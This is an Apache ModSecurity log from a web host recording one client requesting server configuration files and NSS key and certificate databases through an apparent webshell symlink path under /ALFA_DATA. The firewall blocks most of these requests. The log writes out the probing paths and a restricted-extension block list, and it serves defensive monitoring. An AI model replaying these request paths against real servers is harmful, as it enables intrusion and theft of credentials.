[Sun Oct 25 14:29:42.509354 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:65011] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/key3.db"] [unique_id "at5KloptOg7YDpX4xSOWxAAAABA"]
[Sun Oct 25 14:29:42.509644 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:65011] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/key3.db"] [unique_id "at5KloptOg7YDpX4xSOWxAAAABA"]
[Sun Oct 25 14:29:42.509956 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:65011] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/key3.db"] [unique_id "at5KloptOg7YDpX4xSOWxAAAABA"]
[Sun Oct 25 14:29:42.521994 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:53084] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "at5KlhH5LAgtrvBIlo325AAAABU"]
[Sun Oct 25 14:29:42.522252 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:53084] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "at5KlhH5LAgtrvBIlo325AAAABU"]
[Sun Oct 25 14:29:42.522527 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:53084] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "at5KlhH5LAgtrvBIlo325AAAABU"]
[Sun Oct 25 14:29:42.536366 2026] [security2:error] [pid 2880768:tid 2880768] [client 76.135.135.39:65008] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/cert8.db"] [unique_id "at5KlsAxLusXGhv5UJnAsAAAABE"]
[Sun Oct 25 14:29:42.536718 2026] [security2:error] [pid 2880768:tid 2880768] [client 76.135.135.39:65008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/cert8.db"] [unique_id "at5KlsAxLusXGhv5UJnAsAAAABE"]
[Sun Oct 25 14:29:42.537118 2026] [security2:error] [pid 2880768:tid 2880768] [client 76.135.135.39:65008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/cert8.db"] [unique_id "at5KlsAxLusXGhv5UJnAsAAAABE"]
[Sun Oct 25 14:29:42.551940 2026] [security2:error] [pid 2880766:tid 2880766] [client 76.135.135.39:65086] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/profile.d/lang.sh"] [unique_id "at5KlkqRyDR58ONJ8xcK-gAAAAs"]
[Sun Oct 25 14:29:42.559310 2026] [security2:error] [pid 2880766:tid 2880766] [client 76.135.135.39:65086] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/profile.d/lang.sh"] [unique_id "at5KlkqRyDR58ONJ8xcK-gAAAAs"]
[Sun Oct 25 14:29:42.576054 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:65020] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/cert9.db"] [unique_id "at5Klqi7oKzIlJx03ipNZAAAAAE"]
[Sun Oct 25 14:29:42.576415 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:65020] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/cert9.db"] [unique_id "at5Klqi7oKzIlJx03ipNZAAAAAE"]
[Sun Oct 25 14:29:42.576663 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:65020] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/cert9.db"] [unique_id "at5Klqi7oKzIlJx03ipNZAAAAAE"]
[Sun Oct 25 14:29:42.582036 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:65021] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/secmod.db"] [unique_id "at5KliEQblycZeXKbm74ogAAAAU"]
[Sun Oct 25 14:29:42.582232 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:65021] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/secmod.db"] [unique_id "at5KliEQblycZeXKbm74ogAAAAU"]
[Sun Oct 25 14:29:42.582465 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:65021] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/secmod.db"] [unique_id "at5KliEQblycZeXKbm74ogAAAAU"]
[Sun Oct 25 14:29:42.596485 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:65019] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/plymouth/plymouthd.conf"] [unique_id "at5KlpKSFHHoiviJa5dqmQAAAAo"]
[Sun Oct 25 14:29:42.791682 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:65019] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/plymouth/plymouthd.conf"] [unique_id "at5KlpKSFHHoiviJa5dqmQAAAAo"]
[Sun Oct 25 14:29:42.621020 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:65067] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/key4.db"] [unique_id "at5KlipTNKVnE1oMPCDtKgAAAAA"]
[Sun Oct 25 14:29:42.792722 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:65067] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/key4.db"] [unique_id "at5KlipTNKVnE1oMPCDtKgAAAAA"]
[Sun Oct 25 14:29:42.792988 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:65067] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/nssdb/key4.db"] [unique_id "at5KlipTNKVnE1oMPCDtKgAAAAA"]
[Sun Oct 25 14:29:42.792443 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:65019] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/plymouth/plymouthd.conf"] [unique_id "at5KlpKSFHHoiviJa5dqmQAAAAo"]
[Sun Oct 25 14:29:43.337704 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:65376] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pure-ftpd.conf"] [unique_id "at5Kly-CzQxJ5MlF2DkrygAAAA0"]
[Sun Oct 25 14:29:43.337941 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:65376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pure-ftpd.conf"] [unique_id "at5Kly-CzQxJ5MlF2DkrygAAAA0"]
[Sun Oct 25 14:29:43.338327 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:65376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pure-ftpd.conf"] [unique_id "at5Kly-CzQxJ5MlF2DkrygAAAA0"]
[Sun Oct 25 14:29:43.339980 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:65375] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pulse/client.conf"] [unique_id "at5Klwl_YuTmdn3pCPOXXwAAAAk"]
[Sun Oct 25 14:29:43.340166 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:65375] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pulse/client.conf"] [unique_id "at5Klwl_YuTmdn3pCPOXXwAAAAk"]
[Sun Oct 25 14:29:43.340404 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:65375] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pulse/client.conf"] [unique_id "at5Klwl_YuTmdn3pCPOXXwAAAAk"]
[Sun Oct 25 14:29:43.341767 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:65380] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/rsyslog.conf"] [unique_id "at5Kl7mAKu18kw3DYL-PQgAAAA8"]
[Sun Oct 25 14:29:43.341961 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:65380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/rsyslog.conf"] [unique_id "at5Kl7mAKu18kw3DYL-PQgAAAA8"]
[Sun Oct 25 14:29:43.342180 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:65380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/rsyslog.conf"] [unique_id "at5Kl7mAKu18kw3DYL-PQgAAAA8"]
